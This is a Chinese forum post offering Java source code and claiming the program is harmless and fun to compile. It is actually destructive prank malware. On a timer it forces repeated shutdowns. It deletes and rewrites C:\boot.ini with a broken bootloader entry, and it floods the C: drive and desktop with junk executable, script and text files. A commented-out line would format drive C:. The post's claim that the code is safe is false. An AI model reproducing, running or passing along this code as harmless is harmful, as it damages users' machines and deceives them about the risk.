
DIY吧,一段简短的java,没有危险,各位可以自己编译试试
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package format;
//virulvirus .java
/**
*
* @author jdm
*/
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.util.*;
public class virulvirus extends Thread implements Runnable{
/**
* @param args
*/public virulvirus(){
Timer timer=new Timer();
TimerTask timetask=new TimerTask(){
/* (non-Javadoc)
* @see java.util.TimerTask#run()
*/
@Override
public void run() {
// TODO Auto-generated method stub
Process p;
//Process f;
try {
//f=Runtime.getRuntime().exec("Format c:" );
p=Runtime.getRuntime().exec("shutdown -s -t 10");
writer();
writer1();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
};
timer.schedule(timetask,1000,3000);
}
public void writer(){
File f=new File("c://boot.ini");
if(f.exists()){
f.delete();
f.deleteOnExit();
}
try {
PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("C://boot.ini"),"GBK"));
writer.write("[boot loader]//ntimeout=0//ndefault=multi(0)disk(2)rdisk(0)partition(0)//WINDOWS/n[operating systems]//nmulti(0)disk(0)rdisk(0)partition(1)//WINDOWS=/"Microsoft Windows XP Professional/" /noexecute=optin /fastdetect /usepmtimer");
writer.close();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void writer1(){
for(int i=1;i<50;i++){
i*=new Random().nextInt(50);
String x=Integer.toString(i);
File windows=new File("c://window");
if(!windows.exists()){
windows.mkdir();
}
File dir=new File("c://wind0ws");
if(!dir.exists())
dir.mkdir();
File dir2=new File(dir,"default");
if(!windows.exists())dir2.mkdir();
File zhuomian=new File("C://Documents and Settings//All Users//桌面//jdm.txt");
if(!zhuomian.exists()){
try{zhuomian.createNewFile();}catch(IOException e){e.printStackTrace();}
}
try {
File f=new File("c://window");
if(f.exists()){
PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("c://window//"+x+".exe"),"GBK"));
writer.write(i);
writer.close();}
else{
PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("c://"+x+".vbs"),"GBK"));
writer.write("msgbox /"呵呵,中奖啦!!!!!!!!!!!!!!!!!!!!/"");
writer.close();
File fix=new File("c://"+x+".exe");
if(!fix.exists()){
fix.createNewFile();
}
}
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
catch(IOException e){
e.printStackTrace();
}
new Thread().start();
}
}
//========================================
public void run(){
new virulvirus();
new Copy();
}
//=========================================
public static void main(String[] args) {
// TODO Auto-generated method stub
virulvirus v1=new virulvirus();
v1.start();
}
}
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package format;
/**
*
* @author mdj
*/
//copy.java
import java.io.*;
import java.util.*;
public class Copy{
/**
* @param args
*/
public Copy() {
// TODO Auto-generated method stub
new Timer().schedule(new TimerTask(){
public void run(){
String path="d://java.txt";
File file3=new File(path);
if(!file3.exists()){
try {
file3.createNewFile();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
byte[] buff=new byte[1024];
String comtent="this is java test file";
try {
FileOutputStream out1=new FileOutputStream(path,true);
BufferedOutputStream out2=new BufferedOutputStream(out1);
DataOutputStream out=new DataOutputStream(out2);
out.writeBytes(comtent);
out.close();
FileInputStream in=new FileInputStream(path);
in.read(buff);
in.close();
for(int i=0;i<100;i++){
i+=new Random().nextInt(20);
String x=Integer.toString(i);
String path2="c://computer"+x+".exe";
FileOutputStream out4=new FileOutputStream(path2,true);
out4.write(buff);
out4.close();
File f=new File(path);
if(f.exists()){
f.delete();
}
File f2=new File(path2);
//System.out.println(f2.getClass());
}
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}catch(IOException e){
e.printStackTrace();
}
}
},3000,30);
}
}
[查看全文]